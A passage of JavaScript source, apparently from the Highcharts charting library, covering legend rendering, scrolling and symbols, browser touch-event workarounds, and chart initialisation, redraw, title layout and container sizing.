translateMSPointer(e, 'onContainerTouchMove', 'touchmove', function (e) {
touches[e.pointerId] = { pageX: e.pageX, pageY: e.pageY };
if (!touches[e.pointerId].target) {
touches[e.pointerId].target = e.currentTarget;
}
});
},
onDocumentPointerUp: function (e) {
translateMSPointer(e, 'onContainerTouchEnd', 'touchend', function (e) {
delete touches[e.pointerId];
});
},
/**
* Add or remove the MS Pointer specific events
*/
batchMSEvents: function (fn) {
fn(this.chart.container, hasPointerEvent ? 'pointerdown' : 'MSPointerDown', this.onContainerPointerDown);
fn(this.chart.container, hasPointerEvent ? 'pointermove' : 'MSPointerMove', this.onContainerPointerMove);
fn(doc, hasPointerEvent ? 'pointerup' : 'MSPointerUp', this.onDocumentPointerUp);
}
});
// Disable default IE actions for pinch and such on chart element
wrap(Pointer.prototype, 'init', function (proceed, chart, options) {
css(chart.container, {
'-ms-touch-action': NONE,
'touch-action': NONE
});
proceed.call(this, chart, options);
});
// Add IE specific touch events to chart
wrap(Pointer.prototype, 'setDOMEvents', function (proceed) {
proceed.apply(this);
this.batchMSEvents(addEvent);
});
// Destroy MS events also
wrap(Pointer.prototype, 'destroy', function (proceed) {
this.batchMSEvents(removeEvent);
proceed.call(this);
});
}
/**
* The overview of the chart's series
*/
var Legend = Highcharts.Legend = function (chart, options) {
this.init(chart, options);
};
Legend.prototype = {
/**
* Initialize the legend
*/
init: function (chart, options) {
var legend = this,
itemStyle = options.itemStyle,
padding = pick(options.padding, 8),
itemMarginTop = options.itemMarginTop || 0;
this.options = options;
if (!options.enabled) {
return;
}
legend.baseline = pInt(itemStyle.fontSize) + 3 + itemMarginTop; // used in Series prototype
legend.itemStyle = itemStyle;
legend.itemHiddenStyle = merge(itemStyle, options.itemHiddenStyle);
legend.itemMarginTop = itemMarginTop;
legend.padding = padding;
legend.initialItemX = padding;
legend.initialItemY = padding - 5; // 5 is the number of pixels above the text
legend.maxItemWidth = 0;
legend.chart = chart;
legend.itemHeight = 0;
legend.lastLineHeight = 0;
legend.symbolWidth = pick(options.symbolWidth, 16);
legend.pages = [];
// Render it
legend.render();
// move checkboxes
addEvent(legend.chart, 'endResize', function () {
legend.positionCheckboxes();
});
},
/**
* Set the colors for the legend item
* @param {Object} item A Series or Point instance
* @param {Object} visible Dimmed or colored
*/
colorizeItem: function (item, visible) {
var legend = this,
options = legend.options,
legendItem = item.legendItem,
legendLine = item.legendLine,
legendSymbol = item.legendSymbol,
hiddenColor = legend.itemHiddenStyle.color,
textColor = visible ? options.itemStyle.color : hiddenColor,
symbolColor = visible ? (item.legendColor || item.color || '#CCC') : hiddenColor,
markerOptions = item.options && item.options.marker,
symbolAttr = {
stroke: symbolColor,
fill: symbolColor
},
key,
val;
if (legendItem) {
legendItem.css({ fill: textColor, color: textColor }); // color for #1553, oldIE
}
if (legendLine) {
legendLine.attr({ stroke: symbolColor });
}
if (legendSymbol) {
// Apply marker options
if (markerOptions && legendSymbol.isMarker) { // #585
markerOptions = item.convertAttribs(markerOptions);
for (key in markerOptions) {
val = markerOptions[key];
if (val !== UNDEFINED) {
symbolAttr[key] = val;
}
}
}
legendSymbol.attr(symbolAttr);
}
},
/**
* Position the legend item
* @param {Object} item A Series or Point instance
*/
positionItem: function (item) {
var legend = this,
options = legend.options,
symbolPadding = options.symbolPadding,
ltr = !options.rtl,
legendItemPos = item._legendItemPos,
itemX = legendItemPos[0],
itemY = legendItemPos[1],
checkbox = item.checkbox;
if (item.legendGroup) {
item.legendGroup.translate(
ltr ? itemX : legend.legendWidth - itemX - 2 * symbolPadding - 4,
itemY
);
}
if (checkbox) {
checkbox.x = itemX;
checkbox.y = itemY;
}
},
/**
* Destroy a single legend item
* @param {Object} item The series or point
*/
destroyItem: function (item) {
var checkbox = item.checkbox;
// destroy SVG elements
each(['legendItem', 'legendLine', 'legendSymbol', 'legendGroup'], function (key) {
if (item[key]) {
item[key] = item[key].destroy();
}
});
if (checkbox) {
discardElement(item.checkbox);
}
},
/**
* Destroys the legend.
*/
destroy: function () {
var legend = this,
legendGroup = legend.group,
box = legend.box;
if (box) {
legend.box = box.destroy();
}
if (legendGroup) {
legend.group = legendGroup.destroy();
}
},
/**
* Position the checkboxes after the width is determined
*/
positionCheckboxes: function (scrollOffset) {
var alignAttr = this.group.alignAttr,
translateY,
clipHeight = this.clipHeight || this.legendHeight;
if (alignAttr) {
translateY = alignAttr.translateY;
each(this.allItems, function (item) {
var checkbox = item.checkbox,
top;
if (checkbox) {
top = (translateY + checkbox.y + (scrollOffset || 0) + 3);
css(checkbox, {
left: (alignAttr.translateX + item.legendItemWidth + checkbox.x - 20) + PX,
top: top + PX,
display: top > translateY - 6 && top < translateY + clipHeight - 6 ? '' : NONE
});
}
});
}
},
/**
* Render the legend title on top of the legend
*/
renderTitle: function () {
var options = this.options,
padding = this.padding,
titleOptions = options.title,
titleHeight = 0,
bBox;
if (titleOptions.text) {
if (!this.title) {
this.title = this.chart.renderer.label(titleOptions.text, padding - 3, padding - 4, null, null, null, null, null, 'legend-title')
.attr({ zIndex: 1 })
.css(titleOptions.style)
.add(this.group);
}
bBox = this.title.getBBox();
titleHeight = bBox.height;
this.offsetWidth = bBox.width; // #1717
this.contentGroup.attr({ translateY: titleHeight });
}
this.titleHeight = titleHeight;
},
/**
* Render a single specific legend item
* @param {Object} item A series or point
*/
renderItem: function (item) {
var legend = this,
chart = legend.chart,
renderer = chart.renderer,
options = legend.options,
horizontal = options.layout === 'horizontal',
symbolWidth = legend.symbolWidth,
symbolPadding = options.symbolPadding,
itemStyle = legend.itemStyle,
itemHiddenStyle = legend.itemHiddenStyle,
padding = legend.padding,
itemDistance = horizontal ? pick(options.itemDistance, 8) : 0,
ltr = !options.rtl,
itemHeight,
widthOption = options.width,
itemMarginBottom = options.itemMarginBottom || 0,
itemMarginTop = legend.itemMarginTop,
initialItemX = legend.initialItemX,
bBox,
itemWidth,
li = item.legendItem,
series = item.series && item.series.drawLegendSymbol ? item.series : item,
seriesOptions = series.options,
showCheckbox = legend.createCheckboxForItem && seriesOptions && seriesOptions.showCheckbox,
useHTML = options.useHTML;
if (!li) { // generate it once, later move it
// Generate the group box
// A group to hold the symbol and text. Text is to be appended in Legend class.
item.legendGroup = renderer.g('legend-item')
.attr({ zIndex: 1 })
.add(legend.scrollGroup);
// Draw the legend symbol inside the group box
series.drawLegendSymbol(legend, item);
// Generate the list item text and add it to the group
item.legendItem = li = renderer.text(
options.labelFormat ? format(options.labelFormat, item) : options.labelFormatter.call(item),
ltr ? symbolWidth + symbolPadding : -symbolPadding,
legend.baseline,
useHTML
)
.css(merge(item.visible ? itemStyle : itemHiddenStyle)) // merge to prevent modifying original (#1021)
.attr({
align: ltr ? 'left' : 'right',
zIndex: 2
})
.add(item.legendGroup);
if (legend.setItemEvents) {
legend.setItemEvents(item, li, useHTML, itemStyle, itemHiddenStyle);
}
// Colorize the items
legend.colorizeItem(item, item.visible);
// add the HTML checkbox on top
if (showCheckbox) {
legend.createCheckboxForItem(item);
}
}
// calculate the positions for the next line
bBox = li.getBBox();
itemWidth = item.legendItemWidth =
options.itemWidth || item.legendItemWidth || symbolWidth + symbolPadding + bBox.width + itemDistance +
(showCheckbox ? 20 : 0);
legend.itemHeight = itemHeight = mathRound(item.legendItemHeight || bBox.height);
// if the item exceeds the width, start a new line
if (horizontal && legend.itemX - initialItemX + itemWidth >
(widthOption || (chart.chartWidth - 2 * padding - initialItemX - options.x))) {
legend.itemX = initialItemX;
legend.itemY += itemMarginTop + legend.lastLineHeight + itemMarginBottom;
legend.lastLineHeight = 0; // reset for next line
}
// If the item exceeds the height, start a new column
/*if (!horizontal && legend.itemY + options.y + itemHeight > chart.chartHeight - spacingTop - spacingBottom) {
legend.itemY = legend.initialItemY;
legend.itemX += legend.maxItemWidth;
legend.maxItemWidth = 0;
}*/
// Set the edge positions
legend.maxItemWidth = mathMax(legend.maxItemWidth, itemWidth);
legend.lastItemY = itemMarginTop + legend.itemY + itemMarginBottom;
legend.lastLineHeight = mathMax(itemHeight, legend.lastLineHeight); // #915
// cache the position of the newly generated or reordered items
item._legendItemPos = [legend.itemX, legend.itemY];
// advance
if (horizontal) {
legend.itemX += itemWidth;
} else {
legend.itemY += itemMarginTop + itemHeight + itemMarginBottom;
legend.lastLineHeight = itemHeight;
}
// the width of the widest item
legend.offsetWidth = widthOption || mathMax(
(horizontal ? legend.itemX - initialItemX - itemDistance : itemWidth) + padding,
legend.offsetWidth
);
},
/**
* Get all items, which is one item per series for normal series and one item per point
* for pie series.
*/
getAllItems: function () {
var allItems = [];
each(this.chart.series, function (series) {
var seriesOptions = series.options;
// Handle showInLegend. If the series is linked to another series, defaults to false.
if (!pick(seriesOptions.showInLegend, !defined(seriesOptions.linkedTo) ? UNDEFINED : false, true)) {
return;
}
// use points or series for the legend item depending on legendType
allItems = allItems.concat(
series.legendItems ||
(seriesOptions.legendType === 'point' ?
series.data :
series)
);
});
return allItems;
},
/**
* Render the legend. This method can be called both before and after
* chart.render. If called after, it will only rearrange items instead
* of creating new ones.
*/
render: function () {
var legend = this,
chart = legend.chart,
renderer = chart.renderer,
legendGroup = legend.group,
allItems,
display,
legendWidth,
legendHeight,
box = legend.box,
options = legend.options,
padding = legend.padding,
legendBorderWidth = options.borderWidth,
legendBackgroundColor = options.backgroundColor;
legend.itemX = legend.initialItemX;
legend.itemY = legend.initialItemY;
legend.offsetWidth = 0;
legend.lastItemY = 0;
if (!legendGroup) {
legend.group = legendGroup = renderer.g('legend')
.attr({ zIndex: 7 })
.add();
legend.contentGroup = renderer.g()
.attr({ zIndex: 1 }) // above background
.add(legendGroup);
legend.scrollGroup = renderer.g()
.add(legend.contentGroup);
}
legend.renderTitle();
// add each series or point
allItems = legend.getAllItems();
// sort by legendIndex
stableSort(allItems, function (a, b) {
return ((a.options && a.options.legendIndex) || 0) - ((b.options && b.options.legendIndex) || 0);
});
// reversed legend
if (options.reversed) {
allItems.reverse();
}
legend.allItems = allItems;
legend.display = display = !!allItems.length;
// render the items
each(allItems, function (item) {
legend.renderItem(item);
});
// Draw the border
legendWidth = options.width || legend.offsetWidth;
legendHeight = legend.lastItemY + legend.lastLineHeight + legend.titleHeight;
legendHeight = legend.handleOverflow(legendHeight);
if (legendBorderWidth || legendBackgroundColor) {
legendWidth += padding;
legendHeight += padding;
if (!box) {
legend.box = box = renderer.rect(
0,
0,
legendWidth,
legendHeight,
options.borderRadius,
legendBorderWidth || 0
).attr({
stroke: options.borderColor,
'stroke-width': legendBorderWidth || 0,
fill: legendBackgroundColor || NONE
})
.add(legendGroup)
.shadow(options.shadow);
box.isNew = true;
} else if (legendWidth > 0 && legendHeight > 0) {
box[box.isNew ? 'attr' : 'animate'](
box.crisp({ width: legendWidth, height: legendHeight })
);
box.isNew = false;
}
// hide the border if no items
box[display ? 'show' : 'hide']();
}
legend.legendWidth = legendWidth;
legend.legendHeight = legendHeight;
// Now that the legend width and height are established, put the items in the
// final position
each(allItems, function (item) {
legend.positionItem(item);
});
// 1.x compatibility: positioning based on style
/*var props = ['left', 'right', 'top', 'bottom'],
prop,
i = 4;
while (i--) {
prop = props[i];
if (options.style[prop] && options.style[prop] !== 'auto') {
options[i < 2 ? 'align' : 'verticalAlign'] = prop;
options[i < 2 ? 'x' : 'y'] = pInt(options.style[prop]) * (i % 2 ? -1 : 1);
}
}*/
if (display) {
legendGroup.align(extend({
width: legendWidth,
height: legendHeight
}, options), true, 'spacingBox');
}
if (!chart.isResizing) {
this.positionCheckboxes();
}
},
/**
* Set up the overflow handling by adding navigation with up and down arrows below the
* legend.
*/
handleOverflow: function (legendHeight) {
var legend = this,
chart = this.chart,
renderer = chart.renderer,
options = this.options,
optionsY = options.y,
alignTop = options.verticalAlign === 'top',
spaceHeight = chart.spacingBox.height + (alignTop ? -optionsY : optionsY) - this.padding,
maxHeight = options.maxHeight,
clipHeight,
clipRect = this.clipRect,
navOptions = options.navigation,
animation = pick(navOptions.animation, true),
arrowSize = navOptions.arrowSize || 12,
nav = this.nav,
pages = this.pages,
lastY,
allItems = this.allItems;
// Adjust the height
if (options.layout === 'horizontal') {
spaceHeight /= 2;
}
if (maxHeight) {
spaceHeight = mathMin(spaceHeight, maxHeight);
}
// Reset the legend height and adjust the clipping rectangle
pages.length = 0;
if (legendHeight > spaceHeight && !options.useHTML) {
this.clipHeight = clipHeight = spaceHeight - 20 - this.titleHeight - this.padding;
this.currentPage = pick(this.currentPage, 1);
this.fullHeight = legendHeight;
// Fill pages with Y positions so that the top of each a legend item defines
// the scroll top for each page (#2098)
each(allItems, function (item, i) {
var y = item._legendItemPos[1],
h = mathRound(item.legendItem.getBBox().height),
len = pages.length;
if (!len || (y - pages[len - 1] > clipHeight && (lastY || y) !== pages[len - 1])) {
pages.push(lastY || y);
len++;
}
if (i === allItems.length - 1 && y + h - pages[len - 1] > clipHeight) {
pages.push(y);
}
if (y !== lastY) {
lastY = y;
}
});
// Only apply clipping if needed. Clipping causes blurred legend in PDF export (#1787)
if (!clipRect) {
clipRect = legend.clipRect = renderer.clipRect(0, this.padding, 9999, 0);
legend.contentGroup.clip(clipRect);
}
clipRect.attr({
height: clipHeight
});
// Add navigation elements
if (!nav) {
this.nav = nav = renderer.g().attr({ zIndex: 1 }).add(this.group);
this.up = renderer.symbol('triangle', 0, 0, arrowSize, arrowSize)
.on('click', function () {
legend.scroll(-1, animation);
})
.add(nav);
this.pager = renderer.text('', 15, 10)
.css(navOptions.style)
.add(nav);
this.down = renderer.symbol('triangle-down', 0, 0, arrowSize, arrowSize)
.on('click', function () {
legend.scroll(1, animation);
})
.add(nav);
}
// Set initial position
legend.scroll(0);
legendHeight = spaceHeight;
} else if (nav) {
clipRect.attr({
height: chart.chartHeight
});
nav.hide();
this.scrollGroup.attr({
translateY: 1
});
this.clipHeight = 0; // #1379
}
return legendHeight;
},
/**
* Scroll the legend by a number of pages
* @param {Object} scrollBy
* @param {Object} animation
*/
scroll: function (scrollBy, animation) {
var pages = this.pages,
pageCount = pages.length,
currentPage = this.currentPage + scrollBy,
clipHeight = this.clipHeight,
navOptions = this.options.navigation,
activeColor = navOptions.activeColor,
inactiveColor = navOptions.inactiveColor,
pager = this.pager,
padding = this.padding,
scrollOffset;
// When resizing while looking at the last page
if (currentPage > pageCount) {
currentPage = pageCount;
}
if (currentPage > 0) {
if (animation !== UNDEFINED) {
setAnimation(animation, this.chart);
}
this.nav.attr({
translateX: padding,
translateY: clipHeight + this.padding + 7 + this.titleHeight,
visibility: VISIBLE
});
this.up.attr({
fill: currentPage === 1 ? inactiveColor : activeColor
})
.css({
cursor: currentPage === 1 ? 'default' : 'pointer'
});
pager.attr({
text: currentPage + '/' + pageCount
});
this.down.attr({
x: 18 + this.pager.getBBox().width, // adjust to text width
fill: currentPage === pageCount ? inactiveColor : activeColor
})
.css({
cursor: currentPage === pageCount ? 'default' : 'pointer'
});
scrollOffset = -pages[currentPage - 1] + this.initialItemY;
this.scrollGroup.animate({
translateY: scrollOffset
});
this.currentPage = currentPage;
this.positionCheckboxes(scrollOffset);
}
}
};
/*
* LegendSymbolMixin
*/
var LegendSymbolMixin = Highcharts.LegendSymbolMixin = {
/**
* Get the series' symbol in the legend
*
* @param {Object} legend The legend object
* @param {Object} item The series (this) or point
*/
drawRectangle: function (legend, item) {
var symbolHeight = legend.options.symbolHeight || 12;
item.legendSymbol = this.chart.renderer.rect(
0,
legend.baseline - 5 - (symbolHeight / 2),
legend.symbolWidth,
symbolHeight,
pick(legend.options.symbolRadius, 2)
).attr({
zIndex: 3
}).add(item.legendGroup);
},
/**
* Get the series' symbol in the legend. This method should be overridable to create custom
* symbols through Highcharts.seriesTypes[type].prototype.drawLegendSymbols.
*
* @param {Object} legend The legend object
*/
drawLineMarker: function (legend) {
var options = this.options,
markerOptions = options.marker,
radius,
legendOptions = legend.options,
legendSymbol,
symbolWidth = legend.symbolWidth,
renderer = this.chart.renderer,
legendItemGroup = this.legendGroup,
verticalCenter = legend.baseline - mathRound(renderer.fontMetrics(legendOptions.itemStyle.fontSize).b * 0.3),
attr;
// Draw the line
if (options.lineWidth) {
attr = {
'stroke-width': options.lineWidth
};
if (options.dashStyle) {
attr.dashstyle = options.dashStyle;
}
this.legendLine = renderer.path([
M,
0,
verticalCenter,
L,
symbolWidth,
verticalCenter
])
.attr(attr)
.add(legendItemGroup);
}
// Draw the marker
if (markerOptions && markerOptions.enabled) {
radius = markerOptions.radius;
this.legendSymbol = legendSymbol = renderer.symbol(
this.symbol,
(symbolWidth / 2) - radius,
verticalCenter - radius,
2 * radius,
2 * radius
)
.add(legendItemGroup);
legendSymbol.isMarker = true;
}
}
};
// Workaround for #2030, horizontal legend items not displaying in IE11 Preview,
// and for #2580, a similar drawing flaw in Firefox 26.
// TODO: Explore if there's a general cause for this. The problem may be related
// to nested group elements, as the legend item texts are within 4 group elements.
if (/Trident\/7\.0/.test(userAgent) || isFirefox) {
wrap(Legend.prototype, 'positionItem', function (proceed, item) {
var legend = this,
runPositionItem = function () { // If chart destroyed in sync, this is undefined (#2030)
if (item._legendItemPos) {
proceed.call(legend, item);
}
};
if (legend.chart.renderer.forExport) {
runPositionItem();
} else {
setTimeout(runPositionItem);
}
});
}
/**
* The chart class
* @param {Object} options
* @param {Function} callback Function to run when the chart has loaded
*/
function Chart() {
this.init.apply(this, arguments);
}
Chart.prototype = {
/**
* Initialize the chart
*/
init: function (userOptions, callback) {
// Handle regular options
var options,
seriesOptions = userOptions.series; // skip merging data points to increase performance
userOptions.series = null;
options = merge(defaultOptions, userOptions); // do the merge
options.series = userOptions.series = seriesOptions; // set back the series data
this.userOptions = userOptions;
var optionsChart = options.chart;
// Create margin & spacing array
this.margin = this.splashArray('margin', optionsChart);
this.spacing = this.splashArray('spacing', optionsChart);
var chartEvents = optionsChart.events;
//this.runChartClick = chartEvents && !!chartEvents.click;
this.bounds = { h: {}, v: {} }; // Pixel data bounds for touch zoom
this.callback = callback;
this.isResizing = 0;
this.options = options;
//chartTitleOptions = UNDEFINED;
//chartSubtitleOptions = UNDEFINED;
this.axes = [];
this.series = [];
this.hasCartesianSeries = optionsChart.showAxes;
//this.axisOffset = UNDEFINED;
//this.maxTicks = UNDEFINED; // handle the greatest amount of ticks on grouped axes
//this.inverted = UNDEFINED;
//this.loadingShown = UNDEFINED;
//this.container = UNDEFINED;
//this.chartWidth = UNDEFINED;
//this.chartHeight = UNDEFINED;
//this.marginRight = UNDEFINED;
//this.marginBottom = UNDEFINED;
//this.containerWidth = UNDEFINED;
//this.containerHeight = UNDEFINED;
//this.oldChartWidth = UNDEFINED;
//this.oldChartHeight = UNDEFINED;
//this.renderTo = UNDEFINED;
//this.renderToClone = UNDEFINED;
//this.spacingBox = UNDEFINED
//this.legend = UNDEFINED;
// Elements
//this.chartBackground = UNDEFINED;
//this.plotBackground = UNDEFINED;
//this.plotBGImage = UNDEFINED;
//this.plotBorder = UNDEFINED;
//this.loadingDiv = UNDEFINED;
//this.loadingSpan = UNDEFINED;
var chart = this,
eventType;
// Add the chart to the global lookup
chart.index = charts.length;
charts.push(chart);
// Set up auto resize
if (optionsChart.reflow !== false) {
addEvent(chart, 'load', function () {
chart.initReflow();
});
}
// Chart event handlers
if (chartEvents) {
for (eventType in chartEvents) {
addEvent(chart, eventType, chartEvents[eventType]);
}
}
chart.xAxis = [];
chart.yAxis = [];
// Expose methods and variables
chart.animation = useCanVG ? false : pick(optionsChart.animation, true);
chart.pointCount = 0;
chart.counters = new ChartCounters();
chart.firstRender();
},
/**
* Initialize an individual series, called internally before render time
*/
initSeries: function (options) {
var chart = this,
optionsChart = chart.options.chart,
type = options.type || optionsChart.type || optionsChart.defaultSeriesType,
series,
constr = seriesTypes[type];
// No such series type
if (!constr) {
error(17, true);
}
series = new constr();
series.init(this, options);
return series;
},
/**
* Check whether a given point is within the plot area
*
* @param {Number} plotX Pixel x relative to the plot area
* @param {Number} plotY Pixel y relative to the plot area
* @param {Boolean} inverted Whether the chart is inverted
*/
isInsidePlot: function (plotX, plotY, inverted) {
var x = inverted ? plotY : plotX,
y = inverted ? plotX : plotY;
return x >= 0 &&
x <= this.plotWidth &&
y >= 0 &&
y <= this.plotHeight;
},
/**
* Adjust all axes tick amounts
*/
adjustTickAmounts: function () {
if (this.options.chart.alignTicks !== false) {
each(this.axes, function (axis) {
axis.adjustTickAmount();
});
}
this.maxTicks = null;
},
/**
* Redraw legend, axes or series based on updated data
*
* @param {Boolean|Object} animation Whether to apply animation, and optionally animation
* configuration
*/
redraw: function (animation) {
var chart = this,
axes = chart.axes,
series = chart.series,
pointer = chart.pointer,
legend = chart.legend,
redrawLegend = chart.isDirtyLegend,
hasStackedSeries,
hasDirtyStacks,
isDirtyBox = chart.isDirtyBox, // todo: check if it has actually changed?
seriesLength = series.length,
i = seriesLength,
serie,
renderer = chart.renderer,
isHiddenChart = renderer.isHidden(),
afterRedraw = [];
setAnimation(animation, chart);
if (isHiddenChart) {
chart.cloneRenderTo();
}
// Adjust title layout (reflow multiline text)
chart.layOutTitles();
// link stacked series
while (i--) {
serie = series[i];
if (serie.options.stacking) {
hasStackedSeries = true;
if (serie.isDirty) {
hasDirtyStacks = true;
break;
}
}
}
if (hasDirtyStacks) { // mark others as dirty
i = seriesLength;
while (i--) {
serie = series[i];
if (serie.options.stacking) {
serie.isDirty = true;
}
}
}
// handle updated data in the series
each(series, function (serie) {
if (serie.isDirty) { // prepare the data so axis can read it
if (serie.options.legendType === 'point') {
redrawLegend = true;
}
}
});
// handle added or removed series
if (redrawLegend && legend.options.enabled) { // series or pie points are added or removed
// draw legend graphics
legend.render();
chart.isDirtyLegend = false;
}
// reset stacks
if (hasStackedSeries) {
chart.getStacks();
}
if (chart.hasCartesianSeries) {
if (!chart.isResizing) {
// reset maxTicks
chart.maxTicks = null;
// set axes scales
each(axes, function (axis) {
axis.setScale();
});
}
chart.adjustTickAmounts();
chart.getMargins();
// If one axis is dirty, all axes must be redrawn (#792, #2169)
each(axes, function (axis) {
if (axis.isDirty) {
isDirtyBox = true;
}
});
// redraw axes
each(axes, function (axis) {
// Fire 'afterSetExtremes' only if extremes are set
if (axis.isDirtyExtremes) { // #821
axis.isDirtyExtremes = false;
afterRedraw.push(function () { // prevent a recursive call to chart.redraw() (#1119)
fireEvent(axis, 'afterSetExtremes', extend(axis.eventArgs, axis.getExtremes())); // #747, #751
delete axis.eventArgs;
});
}
if (isDirtyBox || hasStackedSeries) {
axis.redraw();
}
});
}
// the plot areas size has changed
if (isDirtyBox) {
chart.drawChartBox();
}
// redraw affected series
each(series, function (serie) {
if (serie.isDirty && serie.visible &&
(!serie.isCartesian || serie.xAxis)) { // issue #153
serie.redraw();
}
});
// move tooltip or reset
if (pointer) {
pointer.reset(true);
}
// redraw if canvas
renderer.draw();
// fire the event
fireEvent(chart, 'redraw'); // jQuery breaks this when calling it from addEvent. Overwrites chart.redraw
if (isHiddenChart) {
chart.cloneRenderTo(true);
}
// Fire callbacks that are put on hold until after the redraw
each(afterRedraw, function (callback) {
callback.call();
});
},
/**
* Get an axis, series or point object by id.
* @param id {String} The id as given in the configuration options
*/
get: function (id) {
var chart = this,
axes = chart.axes,
series = chart.series;
var i,
j,
points;
// search axes
for (i = 0; i < axes.length; i++) {
if (axes[i].options.id === id) {
return axes[i];
}
}
// search series
for (i = 0; i < series.length; i++) {
if (series[i].options.id === id) {
return series[i];
}
}
// search points
for (i = 0; i < series.length; i++) {
points = series[i].points || [];
for (j = 0; j < points.length; j++) {
if (points[j].id === id) {
return points[j];
}
}
}
return null;
},
/**
* Create the Axis instances based on the config options
*/
getAxes: function () {
var chart = this,
options = this.options,
xAxisOptions = options.xAxis = splat(options.xAxis || {}),
yAxisOptions = options.yAxis = splat(options.yAxis || {}),
optionsArray,
axis;
// make sure the options are arrays and add some members
each(xAxisOptions, function (axis, i) {
axis.index = i;
axis.isX = true;
});
each(yAxisOptions, function (axis, i) {
axis.index = i;
});
// concatenate all axis options into one array
optionsArray = xAxisOptions.concat(yAxisOptions);
each(optionsArray, function (axisOptions) {
axis = new Axis(chart, axisOptions);
});
chart.adjustTickAmounts();
},
/**
* Get the currently selected points from all series
*/
getSelectedPoints: function () {
var points = [];
each(this.series, function (serie) {
points = points.concat(grep(serie.points || [], function (point) {
return point.selected;
}));
});
return points;
},
/**
* Get the currently selected series
*/
getSelectedSeries: function () {
return grep(this.series, function (serie) {
return serie.selected;
});
},
/**
* Generate stacks for each series and calculate stacks total values
*/
getStacks: function () {
var chart = this;
// reset stacks for each yAxis
each(chart.yAxis, function (axis) {
if (axis.stacks && axis.hasVisibleSeries) {
axis.oldStacks = axis.stacks;
}
});
each(chart.series, function (series) {
if (series.options.stacking && (series.visible === true || chart.options.chart.ignoreHiddenSeries === false)) {
series.stackKey = series.type + pick(series.options.stack, '');
}
});
},
/**
* Show the title and subtitle of the chart
*
* @param titleOptions {Object} New title options
* @param subtitleOptions {Object} New subtitle options
*
*/
setTitle: function (titleOptions, subtitleOptions, redraw) {
var chart = this,
options = chart.options,
chartTitleOptions,
chartSubtitleOptions;
chartTitleOptions = options.title = merge(options.title, titleOptions);
chartSubtitleOptions = options.subtitle = merge(options.subtitle, subtitleOptions);
// add title and subtitle
each([
['title', titleOptions, chartTitleOptions],
['subtitle', subtitleOptions, chartSubtitleOptions]
], function (arr) {
var name = arr[0],
title = chart[name],
titleOptions = arr[1],
chartTitleOptions = arr[2];
if (title && titleOptions) {
chart[name] = title = title.destroy(); // remove old
}
if (chartTitleOptions && chartTitleOptions.text && !title) {
chart[name] = chart.renderer.text(
chartTitleOptions.text,
0,
0,
chartTitleOptions.useHTML
)
.attr({
align: chartTitleOptions.align,
'class': PREFIX + name,
zIndex: chartTitleOptions.zIndex || 4
})
.css(chartTitleOptions.style)
.add();
}
});
chart.layOutTitles(redraw);
},
/**
* Lay out the chart titles and cache the full offset height for use in getMargins
*/
layOutTitles: function (redraw) {
var titleOffset = 0,
title = this.title,
subtitle = this.subtitle,
options = this.options,
titleOptions = options.title,
subtitleOptions = options.subtitle,
requiresDirtyBox,
autoWidth = this.spacingBox.width - 44; // 44 makes room for default context button
if (title) {
title
.css({ width: (titleOptions.width || autoWidth) + PX })
.align(extend({ y: 15 }, titleOptions), false, 'spacingBox');
if (!titleOptions.floating && !titleOptions.verticalAlign) {
titleOffset = title.getBBox().height;
// Adjust for browser consistency + backwards compat after #776 fix
if (titleOffset >= 18 && titleOffset <= 25) {
titleOffset = 15;
}
}
}
if (subtitle) {
subtitle
.css({ width: (subtitleOptions.width || autoWidth) + PX })
.align(extend({ y: titleOffset + titleOptions.margin }, subtitleOptions), false, 'spacingBox');
if (!subtitleOptions.floating && !subtitleOptions.verticalAlign) {
titleOffset = mathCeil(titleOffset + subtitle.getBBox().height);
}
}
requiresDirtyBox = this.titleOffset !== titleOffset;
this.titleOffset = titleOffset; // used in getMargins
if (!this.isDirtyBox && requiresDirtyBox) {
this.isDirtyBox = requiresDirtyBox;
// Redraw if necessary (#2719, #2744)
if (this.hasRendered && pick(redraw, true) && this.isDirtyBox) {
this.redraw();
}
}
},
/**
* Get chart width and height according to options and container size
*/
getChartSize: function () {
var chart = this,
optionsChart = chart.options.chart,
widthOption = optionsChart.width,
heightOption = optionsChart.height,
renderTo = chart.renderToClone || chart.renderTo;
// get inner width and height from jQuery (#824)
if (!defined(widthOption)) {
chart.containerWidth = adapterRun(renderTo, 'width');
}
if (!defined(heightOption)) {
chart.containerHeight = adapterRun(renderTo, 'height');
}
chart.chartWidth = mathMax(0, widthOption || chart.containerWidth || 600); // #1393, 1460
chart.chartHeight = mathMax(0, pick(heightOption,
// the offsetHeight of an empty container is 0 in standard browsers, but 19 in IE7:
chart.containerHeight > 19 ? chart.containerHeight : 400));
},
/**
* Create a clone of the chart's renderTo div and place it outside the viewport to allow
* size computation on chart.render and chart.redraw
*/
cloneRenderTo: function (revert) {
var clone = this.renderToClone,
container = this.container;
// Destroy the clone and bring the container back to the real renderTo div
if (revert) {
if (clone) {
this.renderTo.appendChild(container);
discardElement(clone);
delete this.renderToClone;
}
// Set up the clone
} else {
if (container && container.parentNode === this.renderTo) {
this.renderTo.removeChild(container); // do not clone this
}
this.renderToClone = clone = this.renderTo.cloneNode(0);
css(clone, {
position: ABSOLUTE,
top: '-9999px',
display: 'block' // #833
});
if (clone.style.setProperty) { // #2631
clone.style.setProperty('display', 'block', 'important');
}
doc.body.appendChild(clone);
if (container) {
clone.appendChild(container);
}
}
},
/**
* Get the containing element, determine the size and create the inner container
* div to hold the chart
*/
getContainer: function () {
var chart = this,
container,
optionsChart = chart.options.chart,
chartWidth,
chartHeight,
renderTo,
indexAttrName = 'data-highcharts-chart',
oldChartIndex,
containerId;
chart.renderTo = renderTo = optionsChart.renderTo;
containerId = PREFIX + idCounter++;
if (isString(renderTo)) {
chart.renderTo = renderTo = doc.getElementById(renderTo);
}
// Display an error if the renderTo is wrong
if (!renderTo) {
error(13, true);
}
// If the container already holds a chart, destroy it. The check for hasRendered is there
// because web pages that are saved to disk from the browser, will preserve the data-highcharts-chart
// attribute and the SVG contents, but not an interactive chart. So in this case,
// charts[oldChartIndex] will point to the wrong chart if any (#2609).
oldChartIndex = pInt(attr(renderTo, indexAttrName));
if (!isNaN(oldChartIndex) && charts[oldChartIndex] && charts[oldChartIndex].hasRendered) {
charts[oldChartIndex].destroy();
}
// Make a reference to the chart from the div
attr(renderTo, indexAttrName, chart.index);
// remove previous chart
renderTo.innerHTML = '';
// If the container doesn't have an offsetWidth, it has or is a child of a node
// that has display:none. We need to temporarily move it out to a visible
// state to determine the size, else the legend and tooltips won't render
// properly. The allowClone option is used in sparklines as a micro optimization,
// saving about 1-2 ms each chart.
if (!optionsChart.skipClone && !renderTo.offsetWidth) {
